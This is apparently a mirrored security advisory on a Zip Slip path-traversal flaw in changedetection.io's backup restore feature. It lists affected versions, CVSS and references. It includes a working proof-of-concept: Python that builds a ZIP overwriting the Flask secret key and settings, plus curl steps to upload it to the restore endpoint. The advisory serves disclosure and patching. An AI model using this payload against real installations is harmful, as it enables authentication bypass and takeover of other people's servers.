changedetection.io has Zip Slip vulnerability in the backup restore functionality
Summary
A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.
Details
A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.
Vulnerable Code (lines 50-53):
def restore_backup(self, filename):
with zipfile.ZipFile(filename, 'r') as zip_ref:
# VULNERABLE: No path validation before extraction
zip_ref.extractall(self.datastore_path)The extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.
| Path in ZIP | Target File | Impact |
|---|---|---|
| ../secret.txt | Flask secret key | Session forgery, auth bypass |
| ../changedetection.json | App settings | Disable password, inject backdoor |
| ../url-watches.json | Watch index | Inject malicious watches |
| ../{uuid}/watch.json | Watch config | Modify any watch |
Attacker uploads ZIP via the backup restore functionality at /backups/restore Application extracts files without validation, writing attacker content to sensitive locations
PoC
Step 1: Create Malicious ZIP
import zipfile
import json
with zipfile.ZipFile("zipslip.zip", "w") as zf:
# Escape extraction directory with ../
zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET")
zf.writestr("../changedetection.json", json.dumps({
"settings": {"application": {"password": ""}}
}))
zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({
"url": "https://attacker.com/zipslip-pwned",
"title": "🔴 ZIPSLIP-PROOF"
}))Step 2: Upload via Restore Endpoint
-F "zip_file=@zipslip.zip" \
-F "include_watches=y" \
-F "include_settings=y"###Step 3: Verify Path Traversal
Check if watch escaped to /datastore/
###ls -la /datastore/
Look for: pwned-uuid-1234/
Verify in UI
curl "http://target:5000/" | grep "ZIPSLIP"
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | changedetection-io | < 0.54.4 | 0.54.4 |
Referencias
- https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4
- https://github.com/dgtlmoon/changedetection.io/commit/1d7d812eb0faab37042246e2fbce04f29bb1b3aa
- https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-25g8-2mcf-fcx9
- https://nvd.nist.gov/vuln/detail/CVE-2026-29065
- https://github.com/dgtlmoon/changedetection.io
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P- Debilidad (CWE)
CWE-22- Plataforma
- Python (PyPI)
- Paquete
changedetection-io- Publicada
- 04.03.2026
- Actualizado
- 11.10.2026 14:17
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2026-2129 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-25g8-2mcf-fcx9 - CC BY 4.0
Historial de vulnerabilidades: changedetection-io
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 20
- Primera → última
- 02.2023 05.2026
- Sin corrección
- 1
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 2
- Alta 9
- Media 6
- Baja 2
- Sin evaluar 1
Divulgaciones por año
- 2023: 1
- 2024: 6
- 2025: 2
- 2026: 11
-
changedetection.io has Zip Slip vulnerability in the backup restore functionality esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.